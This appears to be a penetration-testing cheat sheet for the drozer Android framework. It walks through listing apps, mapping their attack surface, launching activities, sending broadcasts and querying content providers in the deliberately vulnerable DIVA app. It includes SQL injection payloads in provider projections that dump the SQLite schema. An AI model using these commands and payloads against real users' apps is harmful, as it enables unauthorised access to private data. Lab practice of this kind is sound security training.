1
adb install drozer-agent.apk

1
# Iniciando el Servidor
2
adb forward tcp:31415 tcp:31415
3

4
# Start the app in cellphone
5

6
# Connect to drozer
7
drozer console connect
8

9
# List apps and filtrate
10
run app.package.list -f _name_
11

12
# Get info app
13
run app.package.info -a _name_
14

15
# View attack surface
16
run app.package.attacksurface _name_
17

18
# List activities
19
run app.activity.info -a _name_
20

21
# Start activities
22
run app.activity.start --component _app_name_ _activity_name_
23

24
# Scan provider URLs
25
run scanner.provider.finduris -a _app_name_
26

27
## Inside of a shell adb shell
28
content query --uri "content://jakhar.aseem.diva.provider.notesprovider/notes"
29

30
## Filter by a title of element
31
content query --uri "content://jakhar.aseem.diva.provider.notesprovider/notes" --projection title
32

33
## using sql (manual)
34
content query --uri "content://jakhar.aseem.diva.provider.notesprovider/notes" --projection "* FROM sqlite_master; --"
35

36
# provider query
37
run app.provider.query "content://jakhar.aseem.diva.provider.notesprovider/notes" --projection "* FROM sqlite_master; --"
38

39
# Automated scan
40
run scanner.provider.injection -a _app_name_
41

42
# Automated show tables
43
run scanner.provider.sqltables -a _app_name_
44

45
## Inside of a shell adb shell
46
## Get a verion of sqlite
47
content query --uri "content://jakhar.aseem.diva.provider.notesprovider/notes" --projection "sqlite_version() --"
48

49
# List broadcast recivers
50
run app.broadcast.info -a _package_name_ -i
51

52
# Send broadcast recivers
53
run app.broadcast.send --action _name_ --extra string _var_name_ _value_ --extra string _var_name_ _value_